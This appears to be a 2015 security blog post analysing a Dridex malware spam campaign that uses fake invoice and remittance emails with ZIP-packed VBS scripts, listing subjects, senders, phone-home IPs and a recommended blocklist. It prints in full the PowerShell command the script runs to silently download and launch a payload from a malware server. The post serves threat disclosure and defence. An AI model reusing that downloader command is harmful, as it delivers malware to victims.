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Wednesday 1 April 2015

Malware spam "Unpaid Invoice [09876] attached" / "This is your Remittance Advice [ID:12345]" with VBS-in-ZIP attachment

This rather terse spam has no body text and comes from random senders. It has a ZIP attachment which contains a malicious script.

Example subjects include:
Unpaid Invoice [09323] attached
Unpaid Invoice [86633] attached
Unpaid Invoice [35893] attached
This is your Remittance Advice [ID:42667]
This is your Remittance Advice [ID:69951]

Example senders:
SAROSSA PLC
32RED
NOIDA TOLL BRIDGE CO

Example attachment names:
RC422QNSB.zip
ML82034PMRY.zip
MK843NCAK.zip
OI8244LPNH.zip
ZW1760EHOG.zip
MANX FINANCIAL GROUP PLC
RARE EARTH MINERALS PLC

Inside is a malicious VBS script. It is likely that there are several different versions, the one working sample I saw looked like this [pastebin] which is very similar to the VBA macro used in this spam run yesterday.

When run (I don't recommend this!) it executes the following command:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.202/sqwere/casma.gif','%TEMP%\giuguiGIUGdsuf87t6F.cab'); expand %TEMP%\giuguiGIUGdsuf87t6F.cab %TEMP%\giuguiGIUGdsuf87t6F.exe; Start-Process %TEMP%\giuguiGIUGdsuf87t6F.exe;
Because there are probably several different versions of this script, there are probably several different download locations. In this case, a fake .GIF file is downloaded from a malware server at 193.26.217.202 (Servachok Ltd, Russia) which is actually an .EXE file, but it gets saved as a .CAB file. For no very good reason it is passed through EXPAND which does nothing but save it to %TEMP%\giuguiGIUGdsuf87t6F.exe.

This binary has a detection rate of 4/55. Automated analysis tools [1] [2] [3] [4] show that the malware attempts to phone home to:

188.120.225.17 (TheFirst-RU, Russia)
121.50.43.175 (Tsukaeru.net, Japan)
82.151.131.129 (DorukNet, Turkey)
92.63.88.83 (MWTV, Latvia)
95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
199.201.121.169 (Synaptica, Canada)
188.226.129.49 (Digital Ocean, Netherlands)
192.64.11.232 (Synaptica, Canada)
77.74.103.150 (iway AG GS, Switzerland)
1.164.114.195 (Data Communication Business Group, Taiwan)
5.135.28.104 (OVH / Simpace.com, UK)
46.19.143.151 (Private Layer Inc, Switzerland)

It also drops another variant of the same downloader, edg1.exe with a detection rate of 3/56 and a Dridex DLL with a detection rate of 9/56.

Recommended blocklist:
188.120.225.17
121.50.43.175
82.151.131.129
92.63.88.0/24
95.163.121.0/24
199.201.121.169
188.226.129.49
192.64.11.232
77.74.103.150
1.164.114.195
5.135.28.104/29
46.19.143.151

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